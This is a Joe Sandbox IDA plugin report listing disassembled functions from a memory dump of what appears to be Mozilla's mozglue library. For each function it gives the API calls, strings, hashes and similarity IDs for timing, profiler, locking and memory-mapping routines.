Instruction Fuzzy Hash: C851A3B1E00214ABDB04DFA9DD84AEFB7B9AF49324F140125E815F7751E730A9058BA9

Function 6C609590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5F3217
Part of subcall function 6C5F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5F3236
Part of subcall function 6C5F31C0: FreeLibrary.KERNEL32 ref: 6C5F324B
Part of subcall function 6C5F31C0: __Init_thread_footer.LIBCMT ref: 6C5F3260
Part of subcall function 6C5F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5F327F
Part of subcall function 6C5F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F328E
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32AB
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F32D1
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F32E5
Part of subcall function 6C5F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C609675
__Init_thread_footer.LIBCMT ref: 6C609697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C609707
__Init_thread_footer.LIBCMT ref: 6C60971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6097B7
FreeLibrary.KERNEL32 ref: 6C6097D0
FreeLibrary.KERNEL32 ref: 6C6097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C609824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C609670
NtMapViewOfSection, xrefs: 6C609701
MapViewOfFileNuma2, xrefs: 6C6097B1
ntdll.dll, xrefs: 6C6096E3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction ID: a4bbe75046e1ce87557d64e3b2f38963110b8bec4394faa609fd6778498bd84b
Opcode Fuzzy Hash: 4e7c213e888679a7652b19c3708de9357fd5b34ef9bcb603f971f84825aa55e5
Instruction Fuzzy Hash: 3961E2717002119BDF0A8F66E9D8F9A7BB1FB8A319F104919E91593780D7349844CFBA

Function 6C656660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C67F618), ref: 6C656694
GetThreadId.KERNEL32(?), ref: 6C6566B1
GetCurrentThreadId.KERNEL32 ref: 6C6566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6566E1
EnterCriticalSection.KERNEL32(6C67F618), ref: 6C656734
GetCurrentProcess.KERNEL32 ref: 6C65673A
LeaveCriticalSection.KERNEL32(6C67F618), ref: 6C65676C
GetCurrentThread.KERNEL32 ref: 6C6567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C656868
RtlCaptureContext.NTDLL ref: 6C65687F

Strings

WalkStack64, xrefs: 6C656890

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction ID: 3b59c5af3c823e3b50706e3ed5d3e5ea28f05954b5ceaace4242cf62046ecbf4
Opcode Fuzzy Hash: 60cabb7ad6c14c3b70bd738258bea1d95387a50c65882541aaf77031ba3f8529
Instruction Fuzzy Hash: 4A51DC71A09311AFDB15CF25C884A9ABBF4BF89714F50492DF89987740D770E818CBAA

Function 6C64D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D918
GetCurrentThreadId.KERNEL32 ref: 6C64D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D970
GetCurrentThreadId.KERNEL32 ref: 6C64D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64DA2E
GetCurrentThreadId.KERNEL32 ref: 6C64DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C64DA91

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64DAB7

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction ID: 62dd1001385ad40986d074f1d97e5afa8795514cb9b1c24ee3e2c967b0e7d7d0
Opcode Fuzzy Hash: 00098ac525929d5a186ae14f8983e2d104d82586d8dbf94270dbb94cfd1e065f
Instruction Fuzzy Hash: 2271AE35A043049FCB04CF29C488B9ABBF5FF89354F14C96DE85A9B301DB30A945CBA9

Function 6C605E60 Relevance: 21.2, APIs: 14, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

GetCurrentThreadId.KERNEL32 ref: 6C605EAB
GetCurrentThreadId.KERNEL32 ref: 6C605EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C606017

Part of subcall function 6C5F4310: moz_xmalloc.MOZGLUE(00000010,?,6C5F42D2), ref: 6C5F436A
Part of subcall function 6C5F4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5F42D2), ref: 6C5F4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
GetCurrentProcess.KERNEL32 ref: 6C605F53
GetCurrentThread.KERNEL32 ref: 6C605F5C
GetCurrentProcess.KERNEL32 ref: 6C605F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C60605D
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C6060CC

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID:
API String ID: 3711609982-0
Opcode ID: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction ID: 666297e426894840647b3c66ac84b57ef744790127fb6df2a97abcd6a31446aa
Opcode Fuzzy Hash: f200d850b7d29d7de3cf2f947fdd0c7f004d41f1f9b8374d70bc618690beef7b
Instruction Fuzzy Hash: F171C3B06047409FD705DF29C580A5ABBF0FF86304F144D6DE98687B52D770E888CBAA

Function 6C64D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D52A
GetCurrentThreadId.KERNEL32 ref: 6C64D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D55F
free.MOZGLUE(00000000), ref: 6C64D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C64D5D3
GetCurrentThreadId.KERNEL32 ref: 6C64D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D652
GetCurrentThreadId.KERNEL32 ref: 6C64D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C64D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64D6A2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction ID: 633805efc5bdbbe2b8dbff76e257ebfc89d05bb65b67578014522c426b361113
Opcode Fuzzy Hash: 3ba357027828fc4dec42640d2c6027c521435f4f5fbe5ad94031a8b2c6514ae5
Instruction Fuzzy Hash: 36518171A04705DFC704DF35C488A9ABBF4FF89358F108A2EE95A97710DB30A845CB99

Function 6C5F1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EC1
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1EE1
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F38
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C5F1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5F1F83
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FC0
EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FE2
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5F1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F2019

Strings

\gl, xrefs: 6C5F1F3E
MOZ_CRASH(), xrefs: 6C5F2000
Dgl, xrefs: 6C5F1F32
Dgl, xrefs: 6C5F1F56

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dgl$Dgl$MOZ_CRASH()$\gl
API String ID: 2055633661-2153450823
Opcode ID: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction ID: 4b022e8fdb771a7ea4bb959c3e9b58ba000a7b8b81b9edb75f68395a37b83734
Opcode Fuzzy Hash: ea665810402d8767b38c497b7ceadf41bfcfa9b8e0a857b3c5521e6072f1eee1
Instruction Fuzzy Hash: 2E41B0B1B003258FEB198F69CC89BAB36B5EB8A348F040825E91597744D7749809CFF9

Function 6C615670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C615744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6157BC
GetTickCount64.KERNEL32 ref: 6C6158CB
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C6158F3
__aulldiv.LIBCMT ref: 6C615945
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C6159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C67F638,?,?,?,?), ref: 6C6159E9

Strings

MOZ_APP_RESTART, xrefs: 6C6156CC

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction ID: 3850860760da910e3a629795338b0ab7e0bd5e0f4f2d3ba60dc50a1c234ac8ae
Opcode Fuzzy Hash: 48bce8020be300a619c4a5952b228a55fdbae598aa6c23568c9bca3f359ef8c4
Instruction Fuzzy Hash: A3C15B31A0C3909FD70ADF29C480A6AF7F1BF8A715F158A1DE4C497661D730A885CB9B

Function 6C63EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EC8C

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63ECA1
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C63ECC5
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63ED19
CloseHandle.KERNEL32(?), ref: 6C63ED28
free.MOZGLUE(00000000), ref: 6C63ED2F
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C63EC94

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction ID: 769621338309559f4d64e825abb8112c6cfcfe8c15599a2380479f7ecd9780d8
Opcode Fuzzy Hash: af6670be39e1b63734f5df177923f28b2b2c2ad2b1480ef93e2818d0fb67af6f
Instruction Fuzzy Hash: 6221E171600124ABDB029F25D848E9A3779FF8636CF206A10F91897742DB319C168BBE

Function 6C638ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?), ref: 6C6391F4

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Strings

name, xrefs: 6C638F16
data, xrefs: 6C6390E8
timeline-overview, xrefs: 6C63907A
timeline-ipc, xrefs: 6C639096
marker-table, xrefs: 6C63906C
timeline-fileio, xrefs: 6C6390A4
stack-chart, xrefs: 6C6390B2
marker-chart, xrefs: 6C63905E
timeline-memory, xrefs: 6C639088

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction ID: 2cc7f6010743ff8f711bcf3f2b2fe288926ebb0125e024eaa3ed800eeff082e1
Opcode Fuzzy Hash: 356ec19499dff44296967a8925ffa3d6addcea9170ca9f095e3f197ba7d16364
Instruction Fuzzy Hash: 95B1B5B1A012199BDB08CF55C891BEEBBB5AF85308F205419D405ABF80DB71DD45CFEA

Function 6C61C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C5A3
WideCharToMultiByte.KERNEL32 ref: 6C61C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C61C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C61CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61CAA5

Strings

(null), xrefs: 6C61C596
0, xrefs: 6C61D30A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction ID: 7ae85a2c8739f84f023e86383c237ad8656bc47b5226b23e39b4240eb800a0c2
Opcode Fuzzy Hash: dc521c88a4e1fed81890774e27c667b579b986c2e5a8a4c8744cbe47138521f0
Instruction Fuzzy Hash: 50A1AE3020D381AFDB01DF2DC58475EBBE1AF8A759F04882CE98AD3A51D731D805CB9A

Function 6C61C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C61C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C61C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61C891

Strings

nan, xrefs: 6C61C7A8
inf, xrefs: 6C61C78F
INF, xrefs: 6C61C794
NAN, xrefs: 6C61C7AD

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction ID: dd3964754dd3dcc148bb5f730ddf7fc3e712800a9b45f28b5a82b257150f5721
Opcode Fuzzy Hash: 698ec120948c11d366ababf9c015c180e0932e164d67185484b42b961551ac3c
Instruction Fuzzy Hash: 42517F7090C7809BD705AF2DC48129EBBF0BF8A319F004A2DE9D5A7A50E771D9858B56

Function 6C5F3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5F350E
__Init_thread_footer.LIBCMT ref: 6C5F3522
__aulldiv.LIBCMT ref: 6C5F3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C5F3592

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

Strings

kernel32.dll, xrefs: 6C5F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5F3508

Memory Dump Source

